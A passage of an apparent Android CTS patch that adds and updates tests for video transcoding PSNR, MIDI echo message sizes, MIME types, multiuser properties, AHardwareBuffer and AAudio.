+            throw new UnsupportedOperationException("Only supports YUV420P");
+        }
+
+        int imageWidth = image.getWidth();
+        int imageHeight = image.getHeight();
+        byte[] bb = new byte[imageWidth * imageHeight];
+        byte[] lb = null;
+        Image.Plane[] planes = image.getPlanes();
+        for (int i = 0; i < planes.length; ++i) {
+            ByteBuffer buf = planes[i].getBuffer();
+
+            int width, height, rowStride, pixelStride, x, y;
+            rowStride = planes[i].getRowStride();
+            pixelStride = planes[i].getPixelStride();
+            if (i == 0) {
+                width = imageWidth;
+                height = imageHeight;
+            } else {
+                width = imageWidth / 2;
+                height = imageHeight / 2;
+            }
+
+            if (buf.hasArray()) {
+                byte b[] = buf.array();
+                int offs = buf.arrayOffset();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+                    }
+                } else {
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        int lineOffset = offs + y * rowStride;
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = b[lineOffset + x * pixelStride];
+                        }
+                    }
+                }
+            } else { // almost always ends up here due to direct buffers
+                int pos = buf.position();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        buf.get(bb, y * width, width);
+                    }
+                } else {
+                    // Reallocate linebuffer if necessary.
+                    if (lb == null || lb.length < rowStride) {
+                        lb = new byte[rowStride];
+                    }
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
+                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = lb[x * pixelStride];
+                        }
+                    }
+                }
+                buf.position(pos);
+            }
+            // Write out the buffer to the output.
+            out.write(bb, 0, width * height);
+        }
+    }
+
+    ////////////////////////////////////////////////////////////////////////////////////////////////
+    // The following psnr code is leveraged from the following file with minor modification:
+    // cts/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
+    ////////////////////////////////////////////////////////////////////////////////////////////////
+    // TODO(hkuang): Merge this code with the code in VideoCodecTestBase to use the same one.
+    /**
+     * Calculates PSNR value between two video frames.
+     */
+    private static double computePSNR(byte[] data0, byte[] data1) {
+        long squareError = 0;
+        assertTrue(data0.length == data1.length);
+        int length = data0.length;
+        for (int i = 0; i < length; i++) {
+            int diff = ((int) data0[i] & 0xff) - ((int) data1[i] & 0xff);
+            squareError += diff * diff;
+        }
+        double meanSquareError = (double) squareError / length;
+        double psnr = 10 * Math.log10((double) 255 * 255 / meanSquareError);
+        return psnr;
+    }
+
+    /**
+     * Calculates average and minimum PSNR values between
+     * set of reference and decoded video frames.
+     * Runs PSNR calculation for the full duration of the decoded data.
+     */
+    private static VideoTranscodingStatistics computePsnr(
+            Context ctx,
+            Uri referenceYuvFileUri,
+            Uri decodedYuvFileUri,
+            int width,
+            int height) throws Exception {
+        VideoTranscodingStatistics statistics = new VideoTranscodingStatistics();
+        AssetFileDescriptor referenceFd = ctx.getContentResolver().openAssetFileDescriptor(
+                referenceYuvFileUri, "r");
+        InputStream referenceStream = new FileInputStream(referenceFd.getFileDescriptor());
+
+        AssetFileDescriptor decodedFd = ctx.getContentResolver().openAssetFileDescriptor(
+                decodedYuvFileUri, "r");
+        InputStream decodedStream = new FileInputStream(decodedFd.getFileDescriptor());
+
+        int ySize = width * height;
+        int uvSize = width * height / 4;
+        byte[] yRef = new byte[ySize];
+        byte[] yDec = new byte[ySize];
+        byte[] uvRef = new byte[uvSize];
+        byte[] uvDec = new byte[uvSize];
+
+        int frames = 0;
+        double averageYPSNR = 0;
+        double averageUPSNR = 0;
+        double averageVPSNR = 0;
+        double minimumYPSNR = Integer.MAX_VALUE;
+        double minimumUPSNR = Integer.MAX_VALUE;
+        double minimumVPSNR = Integer.MAX_VALUE;
+        int minimumPSNRFrameIndex = 0;
+
+        while (true) {
+            // Calculate Y PSNR.
+            int bytesReadRef = referenceStream.read(yRef);
+            int bytesReadDec = decodedStream.read(yDec);
+            if (bytesReadDec == -1) {
+                break;
+            }
+            if (bytesReadRef == -1) {
+                break;
+            }
+            double curYPSNR = computePSNR(yRef, yDec);
+            averageYPSNR += curYPSNR;
+            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
+            double curMinimumPSNR = curYPSNR;
+
+            // Calculate U PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curUPSNR = computePSNR(uvRef, uvDec);
+            averageUPSNR += curUPSNR;
+            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
+
+            // Calculate V PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curVPSNR = computePSNR(uvRef, uvDec);
+            averageVPSNR += curVPSNR;
+            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
+
+            // Frame index for minimum PSNR value - help to detect possible distortions
+            if (curMinimumPSNR < statistics.mMinimumPSNR) {
+                statistics.mMinimumPSNR = curMinimumPSNR;
+                minimumPSNRFrameIndex = frames;
+            }
+
+            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
+                    frames, curYPSNR, curUPSNR, curVPSNR);
+            Log.v(TAG, logStr);
+
+            frames++;
+        }
+
+        averageYPSNR /= frames;
+        averageUPSNR /= frames;
+        averageVPSNR /= frames;
+        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
+
+        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
+        String logStr = String.format(Locale.US,
+                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
+                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
+        Log.d(TAG, logStr);
+        logStr = String.format(Locale.US,
+                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
+                minimumYPSNR, minimumUPSNR, minimumVPSNR,
+                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
+        Log.d(TAG, logStr);
+
+        referenceStream.close();
+        decodedStream.close();
+        referenceFd.close();
+        decodedFd.close();
+        return statistics;
+    }
+
+    /**
+     * Transcoding PSNR statistics.
+     */
+    protected static class VideoTranscodingStatistics {
+        public double mAveragePSNR;
+        public double mMinimumPSNR;
+
+        VideoTranscodingStatistics() {
+            mMinimumPSNR = Integer.MAX_VALUE;
+        }
+    }
+}
diff --git a/tests/tests/midi/AndroidManifest.xml b/tests/tests/midi/AndroidManifest.xml
index c82bb32..6e7bce9 100755
--- a/tests/tests/midi/AndroidManifest.xml
+++ b/tests/tests/midi/AndroidManifest.xml
@@ -16,33 +16,32 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.midi.cts">
+     package="android.midi.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <uses-feature android:name="android.software.midi" android:required="true"/>
+    <uses-feature android:name="android.software.midi"
+         android:required="true"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="com.android.midi.MidiEchoTestService"
-                android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE">
+             android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.midi.MidiDeviceService" />
+                <action android:name="android.media.midi.MidiDeviceService"/>
             </intent-filter>
             <meta-data android:name="android.media.midi.MidiDeviceService"
-                android:resource="@xml/echo_device_info" />
+                 android:resource="@xml/echo_device_info"/>
         </service>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS MIDI tests"
-        android:targetPackage="android.midi.cts" >
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS MIDI tests"
+         android:targetPackage="android.midi.cts">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/midi/TEST_MAPPING b/tests/tests/midi/TEST_MAPPING
new file mode 100644
index 0000000..af15405
--- /dev/null
+++ b/tests/tests/midi/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMidiTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
index 3c014ed..186967d 100644
--- a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
+++ b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
@@ -61,6 +61,11 @@
     // So this timeout value is very generous.
     private static final int TIMEOUT_STATUS_MSEC = 500; // arbitrary
 
+    // This is defined in MidiPortImpl.java as the maximum payload that
+    // can be sent internally by MidiInputPort in a
+    // SOCK_SEQPACKET datagram.
+    private static final int MAX_PACKET_DATA_SIZE = 1024 - 9;
+
     // Store device and ports related to the Echo service.
     static class MidiTestContext {
         MidiDeviceInfo echoInfo;
@@ -109,11 +114,13 @@
     // Store received messages in an array.
     class MyLoggingReceiver extends MidiReceiver {
         ArrayList<MidiMessage> messages = new ArrayList<MidiMessage>();
+        int mByteCount;
 
         @Override
         public synchronized void onSend(byte[] data, int offset, int count,
                 long timestamp) {
             messages.add(new MidiMessage(data, offset, count, timestamp));
+            mByteCount += count;
             notifyAll();
         }
 
@@ -121,6 +128,10 @@
             return messages.size();
         }
 
+        public synchronized int getByteCount() {
+            return mByteCount;
+        }
+
         public synchronized MidiMessage getMessage(int index) {
             return messages.get(index);
         }
@@ -142,6 +153,24 @@
                 timeToWait = endTimeMs - System.currentTimeMillis();
             }
         }
+
+        /**
+         * Wait until count bytes have arrived. This is a cumulative total.
+         *
+         * @param count
+         * @param timeoutMs
+         * @throws InterruptedException
+         */
+        public synchronized void waitForBytes(int count, int timeoutMs)
+                throws InterruptedException {
+            long endTimeMs = System.currentTimeMillis() + timeoutMs + 1;
+            long timeToWait = timeoutMs + 1;
+            while ((getByteCount() < count)
+                    && (timeToWait > 0)) {
+                wait(timeToWait);
+                timeToWait = endTimeMs - System.currentTimeMillis();
+            }
+        }
     }
 
     @Override
@@ -310,6 +339,23 @@
     }
 
     public void testEchoSmallMessage() throws Exception {
+        checkEchoVariableMessage(3);
+    }
+
+    public void testEchoLargeMessage() throws Exception {
+        checkEchoVariableMessage(MAX_PACKET_DATA_SIZE);
+    }
+
+    // This message will not fit in the internal buffer in MidiInputPort.
+    // But it is still a legal size according to the API for
+    // MidiReceiver.send(). It may be received in multiple packets.
+    public void testEchoOversizeMessage() throws Exception {
+        checkEchoVariableMessage(MAX_PACKET_DATA_SIZE + 20);
+    }
+
+    // Send a variable sized message. The actual
+    // size will be a multiple of 3 because it sends NoteOns.
+    public void checkEchoVariableMessage(int messageSize) throws Exception {
         PackageManager pm = mContext.getPackageManager();
         if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
             return; // Not supported so don't test it.
@@ -320,8 +366,15 @@
         MyLoggingReceiver receiver = new MyLoggingReceiver();
         mc.echoOutputPort.connect(receiver);
 
-        final byte[] buffer = {
-                (byte) 0x93, 0x47, 0x52
+        // Send an integral number of notes
+        int numNotes = messageSize / 3;
+        int noteSize = numNotes * 3;
+        final byte[] buffer = new byte[noteSize];
+        int index = 0;
+        for (int i = 0; i < numNotes; i++) {
+                buffer[index++] = (byte) (0x90 + (i & 0x0F)); // NoteOn
+                buffer[index++] = (byte) 0x47; // Pitch
+                buffer[index++] = (byte) 0x52; // Velocity
         };
         long timestamp = 0x0123765489ABFEDCL;
 
@@ -330,20 +383,34 @@
         mc.echoInputPort.send(buffer, 0, 0, timestamp); // should be a NOOP
 
         // Wait for message to pass quickly through echo service.
-        final int numMessages = 1;
+        // Message sent may have been split into multiple received messages.
+        // So wait until we receive all the expected bytes.
+        final int numBytesExpected = buffer.length;
         final int timeoutMs = 20;
         synchronized (receiver) {
-            receiver.waitForMessages(numMessages, timeoutMs);
+            receiver.waitForBytes(numBytesExpected, timeoutMs);
         }
-        assertEquals("number of messages.", numMessages, receiver.getMessageCount());
-        MidiMessage message = receiver.getMessage(0);
 
-        assertEquals("byte count of message", buffer.length,
-                message.data.length);
-        assertEquals("timestamp in message", timestamp, message.timestamp);
-        for (int i = 0; i < buffer.length; i++) {
-            assertEquals("message byte[" + i + "]", buffer[i] & 0x0FF,
-                    message.data[i] & 0x0FF);
+        // Check total size.
+        final int numReceived = receiver.getMessageCount();
+        int totalBytesReceived = 0;
+        for (int i = 0; i < numReceived; i++) {
+            MidiMessage message = receiver.getMessage(i);
+            totalBytesReceived += message.data.length;
+            assertEquals("timestamp in message", timestamp, message.timestamp);
+        }
+        assertEquals("byte count of messages", numBytesExpected,
+                totalBytesReceived);
+
+        // Make sure the payload was not corrupted.
+        int sentIndex = 0;
+        for (int i = 0; i < numReceived; i++) {
+            MidiMessage message = receiver.getMessage(i);
+            for (int k = 0; k < message.data.length; k++) {
+                assertEquals("message byte[" + i + "]",
+                        buffer[sentIndex++] & 0x0FF,
+                        message.data[k] & 0x0FF);
+            }
         }
 
         mc.echoOutputPort.disconnect(receiver);
@@ -361,7 +428,8 @@
         mc.echoOutputPort.connect(receiver);
 
         final int numMessages = 10;
-        final long maxLatencyNanos = 15 * NANOS_PER_MSEC; // generally < 3 msec on N6
+        final int maxLatencyMs = 15; // generally < 3 msec on N6
+        final long maxLatencyNanos = maxLatencyMs * NANOS_PER_MSEC;
         byte[] buffer = {
                 (byte) 0x93, 0, 64
         };
@@ -373,7 +441,7 @@
         }
 
         // Wait for messages to pass quickly through echo service.
-        final int timeoutMs = 100;
+        final int timeoutMs = (numMessages * maxLatencyMs) + 20;
         synchronized (receiver) {
             receiver.waitForMessages(numMessages, timeoutMs);
         }
diff --git a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
index 33878e4..01d99f6 100644
--- a/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
+++ b/tests/tests/mimemap/src/android/content/type/cts/MimeMapTest.java
@@ -165,12 +165,12 @@
         assertMimeTypeFromExtension("image/jp2", "jpg2");
     }
 
-    @Test public void bug120135571_audio() {
-        assertMimeTypeFromExtension("audio/mpeg", "m4r");
+    @Test public void bug141654151_image() {
+        assertBidirectional("image/avif", "avif");
     }
 
-    @Test public void bug136096979_ota() {
-        assertMimeTypeFromExtension("application/vnd.android.ota", "ota");
+    @Test public void bug120135571_audio() {
+        assertMimeTypeFromExtension("audio/mpeg", "m4r");
     }
 
     @Test public void bug154667531_consistent() {
diff --git a/tests/tests/multiuser/TEST_MAPPING b/tests/tests/multiuser/TEST_MAPPING
new file mode 100644
index 0000000..4c38300
--- /dev/null
+++ b/tests/tests/multiuser/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMultiUserTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
index 45fd6d8..4aee0b2 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
@@ -16,8 +16,13 @@
 
 package android.multiuser.cts;
 
+import static android.multiuser.cts.TestingUtils.getBooleanProperty;
+
 import com.android.compatibility.common.util.SystemUtil;
 
+import java.io.IOException;
+
+import android.app.Instrumentation;
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
 
@@ -25,18 +30,11 @@
 
     public void testSplitSystemUserIsDisabled() throws Exception {
         // Check that ro.fw.system_user_split property is not set.
-        String splitEnabledStr = trim(SystemUtil.runShellCommand(getInstrumentation(),
-                "getprop ro.fw.system_user_split"));
-        boolean splitEnabled = "y".equals(splitEnabledStr) || "yes".equals(splitEnabledStr)
-                || "1".equals(splitEnabledStr) || "true".equals(splitEnabledStr)
-                || "on".equals(splitEnabledStr);
+        boolean splitEnabled = getBooleanProperty(getInstrumentation(),
+            "ro.fw.system_user_split");
         assertFalse("ro.fw.system_user_split must not be enabled", splitEnabled);
 
         // Check UserManager.isSplitSystemUser returns false as well.
         assertFalse("UserManager.isSplitSystemUser must be false", UserManager.isSplitSystemUser());
     }
-
-    private static String trim(String s) {
-        return s == null ? null : s.trim();
-    }
 }
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/TestingUtils.java b/tests/tests/multiuser/src/android/multiuser/cts/TestingUtils.java
new file mode 100644
index 0000000..797f48b
--- /dev/null
+++ b/tests/tests/multiuser/src/android/multiuser/cts/TestingUtils.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.multiuser.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import android.app.Instrumentation;
+
+import java.io.IOException;
+
+final class TestingUtils {
+
+    public static boolean getBooleanProperty(Instrumentation instrumentation, String property)
+            throws IOException {
+        String value = trim(runShellCommand(instrumentation, "getprop " + property));
+        return "y".equals(value) || "yes".equals(value) || "1".equals(value) || "true".equals(value)
+                || "on".equals(value);
+    }
+
+    private static String trim(String s) {
+        return s == null ? null : s.trim();
+    }
+
+    private TestingUtils() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java b/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
index 75aa112..4e46530 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/UserManagerTest.java
@@ -16,19 +16,45 @@
 
 package android.multiuser.cts;
 
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static android.multiuser.cts.TestingUtils.getBooleanProperty;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.Manifest;
+import android.app.Instrumentation;
 import android.content.Context;
+import android.content.pm.UserInfo;
+import android.os.UserHandle;
 import android.os.UserManager;
+import android.platform.test.annotations.SystemUserOnly;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+
 @RunWith(JUnit4.class)
-public class UserManagerTest {
+public final class UserManagerTest {
+
+    private final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    private final Context mContext = mInstrumentation.getContext();
+
+    private UserManager mUserManager;
+
+    @Before
+    public void setTestFixtures() {
+        mUserManager = mContext.getSystemService(UserManager.class);
+
+        assertWithMessage("UserManager service").that(mUserManager).isNotNull();
+    }
 
     /**
      * Verify that the isUserAGoat() method always returns false for API level 30. This is
@@ -36,8 +62,49 @@
      */
     @Test
     public void testUserGoat_api30() {
-        final Context context = getInstrumentation().getContext();
-        assertFalse("isUserAGoat() should return false",
-                context.getSystemService(UserManager.class).isUserAGoat());
+        assertWithMessage("isUserAGoat()").that(mUserManager.isUserAGoat()).isFalse();
+    }
+
+    @Test
+    public void testIsHeadlessSystemUserMode() throws Exception {
+        boolean expected = getBooleanProperty(mInstrumentation,
+                "ro.fw.mu.headless_system_user");
+        assertWithMessage("isHeadlessSystemUserMode()")
+                .that(UserManager.isHeadlessSystemUserMode()).isEqualTo(expected);
+    }
+
+    @Test
+    public void testIsUserForeground_currentUser() throws Exception {
+        assertWithMessage("isUserForeground() for current user")
+                .that(mUserManager.isUserForeground()).isTrue();
+    }
+    // TODO(b/173541467): add testIsUserForeground_backgroundUser()
+    // TODO(b/179163496): add testIsUserForeground_ tests for profile users
+
+    @Test
+    @SystemUserOnly(reason = "Profiles are only supported on system user.")
+    public void testCloneUser() throws Exception {
+        // Need CREATE_USERS permission to create user in test
+        mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.CREATE_USERS, Manifest.permission.INTERACT_ACROSS_USERS);
+        Set<String> disallowedPackages = new HashSet<String>();
+        UserHandle userHandle = mUserManager.createProfile(
+                "Clone user", UserManager.USER_TYPE_PROFILE_CLONE, disallowedPackages);
+        assertThat(userHandle).isNotNull();
+
+        final Context userContext = mContext.createPackageContextAsUser("system", 0,
+                userHandle);
+        assertThat(userContext.getSystemService(
+                UserManager.class).sharesMediaWithParent()).isTrue();
+
+        List<UserInfo> list = mUserManager.getUsers(true,
+                true, true);
+        List<UserInfo> cloneUsers = list.stream().filter(
+                user -> (user.id == userHandle.getIdentifier()
+                        && user.isCloneProfile()))
+                .collect(Collectors.toList());
+        assertThat(cloneUsers.size()).isEqualTo(1);
+        assertThat(mUserManager.removeUser(userHandle)).isTrue();
+        mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
     }
 }
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
index 94c3edc..cd10b1c 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -155,11 +155,12 @@
 
     memset(&desc, 0, sizeof(AHardwareBuffer_Desc));
 
-    int res = AHardwareBuffer_allocate(&desc, NULL);
+    int res = AHardwareBuffer_allocate(&desc, (AHardwareBuffer * * _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, res);
-    res = AHardwareBuffer_allocate(NULL, &buffer);
+    res = AHardwareBuffer_allocate((AHardwareBuffer_Desc* _Nonnull)NULL, &buffer);
     EXPECT_EQ(BAD_VALUE, res);
-    res = AHardwareBuffer_allocate(NULL, NULL);
+    res = AHardwareBuffer_allocate((AHardwareBuffer_Desc* _Nonnull)NULL,
+                                   (AHardwareBuffer * * _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, res);
 }
 
@@ -243,12 +244,12 @@
     // Description of a null buffer should be all zeros.
     AHardwareBuffer_Desc scratch_desc;
     memset(&scratch_desc, 0, sizeof(AHardwareBuffer_Desc));
-    AHardwareBuffer_describe(NULL, &scratch_desc);
+    AHardwareBuffer_describe((AHardwareBuffer* _Nonnull)NULL, &scratch_desc);
     EXPECT_EQ(0U, scratch_desc.width);
     EXPECT_EQ(0U, scratch_desc.height);
 
     // This shouldn't crash.
-    AHardwareBuffer_describe(buffer, NULL);
+    AHardwareBuffer_describe(buffer, (AHardwareBuffer_Desc* _Nonnull)NULL);
 
     // Description of created buffer should match requsted description.
     EXPECT_EQ(desc, GetDescription(buffer));
@@ -281,7 +282,7 @@
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_sendHandleToUnixSocket(NULL, 0);
+    int err = AHardwareBuffer_sendHandleToUnixSocket((AHardwareBuffer* _Nonnull)NULL, 0);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
     err = AHardwareBuffer_sendHandleToUnixSocket(buffer, 0);
@@ -300,7 +301,7 @@
     EXPECT_EQ(0, pthread_create(&thread, NULL, clientFunction, &data));
 
     // Receive the buffer.
-    err = AHardwareBuffer_recvHandleFromUnixSocket(fds[0], NULL);
+    err = AHardwareBuffer_recvHandleFromUnixSocket(fds[0], (AHardwareBuffer * * _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
 
     AHardwareBuffer* received = NULL;
@@ -332,7 +333,9 @@
     int32_t bytesPerStride = std::numeric_limits<int32_t>::min();
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lockAndGetInfo(NULL, 0, -1, NULL, NULL, &bytesPerPixel, &bytesPerStride);
+    int err =
+            AHardwareBuffer_lockAndGetInfo((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                           (void** _Nonnull)NULL, &bytesPerPixel, &bytesPerStride);
     EXPECT_EQ(BAD_VALUE, err);
 
     err = AHardwareBuffer_allocate(&desc, &buffer);
@@ -371,7 +374,8 @@
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lock(NULL, 0, -1, NULL, NULL);
+    int err = AHardwareBuffer_lock((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                   (void** _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
 
@@ -400,7 +404,8 @@
     desc.format = AHARDWAREBUFFER_FORMAT_Y8Cb8Cr8_420;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lock(NULL, 0, -1, NULL, NULL);
+    int err = AHardwareBuffer_lock((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                   (void** _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
 
@@ -448,7 +453,8 @@
     desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
 
     // Test that an invalid buffer fails.
-    int err = AHardwareBuffer_lock(NULL, 0, -1, NULL, NULL);
+    int err = AHardwareBuffer_lock((AHardwareBuffer* _Nonnull)NULL, 0, -1, NULL,
+                                   (void** _Nonnull)NULL);
     EXPECT_EQ(BAD_VALUE, err);
     err = 0;
 
@@ -508,4 +514,31 @@
     EXPECT_NE(NO_ERROR, err);
 }
 
+TEST(AHardwareBufferTest, GetIdSucceed) {
+    AHardwareBuffer* buffer1 = nullptr;
+    uint64_t id1 = 0;
+    const AHardwareBuffer_Desc desc = {
+            .width = 4,
+            .height = 4,
+            .layers = 1,
+            .format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM,
+            .usage = AHARDWAREBUFFER_USAGE_CPU_READ_RARELY,
+    };
+    int err = AHardwareBuffer_allocate(&desc, &buffer1);
+    EXPECT_EQ(NO_ERROR, err);
+    EXPECT_NE(nullptr, buffer1);
+    EXPECT_EQ(0, AHardwareBuffer_getId(buffer1, &id1));
+    EXPECT_NE(id1, 0ULL);
+
+    AHardwareBuffer* buffer2 = nullptr;
+    uint64_t id2 = 0;
+    err = AHardwareBuffer_allocate(&desc, &buffer2);
+    EXPECT_EQ(NO_ERROR, err);
+    EXPECT_NE(nullptr, buffer2);
+    EXPECT_EQ(0, AHardwareBuffer_getId(buffer2, &id2));
+    EXPECT_NE(id2, 0ULL);
+
+    EXPECT_NE(id1, id2);
+}
+
 } // namespace android
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index ed3814d..e2c5569 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -33,6 +33,8 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/nativemedia/aaudio/AndroidManifest.xml b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
index d8c422a..83d44aa 100644
--- a/tests/tests/nativemedia/aaudio/AndroidManifest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
@@ -17,6 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.nativemedia.aaudio">
 
+    <attribution android:tag="validTag" android:label="@string/attributionTag" />
+
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
     <application>
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index b8ea502..23aff51 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -35,6 +35,10 @@
     PARAM_PERF_MODE
 };
 
+static const int64_t MAX_LATENCY_RANGE = 200 * NANOS_PER_MILLISECOND;
+static const int64_t MAX_LATENCY = 800 * NANOS_PER_MILLISECOND;
+static const int NUM_TIMESTAMP_QUERY = 3;
+
 static std::string getTestName(const ::testing::TestParamInfo<StreamTestParams>& info) {
     return std::string() + sharingModeToString(std::get<PARAM_SHARING_MODE>(info.param)) +
             "__" + performanceModeToString(std::get<PARAM_PERF_MODE>(info.param));
@@ -129,6 +133,61 @@
         }
     }
 
+    int64_t getLatency(const int64_t presentationTime, const int64_t presentationPosition) const {
+        const int64_t frameIndex = isOutput() ? AAudioStream_getFramesWritten(stream())
+                                              : AAudioStream_getFramesRead(stream());
+        const int64_t nowNs = getNanoseconds();
+        const int64_t frameIndexDelta = frameIndex - presentationPosition;
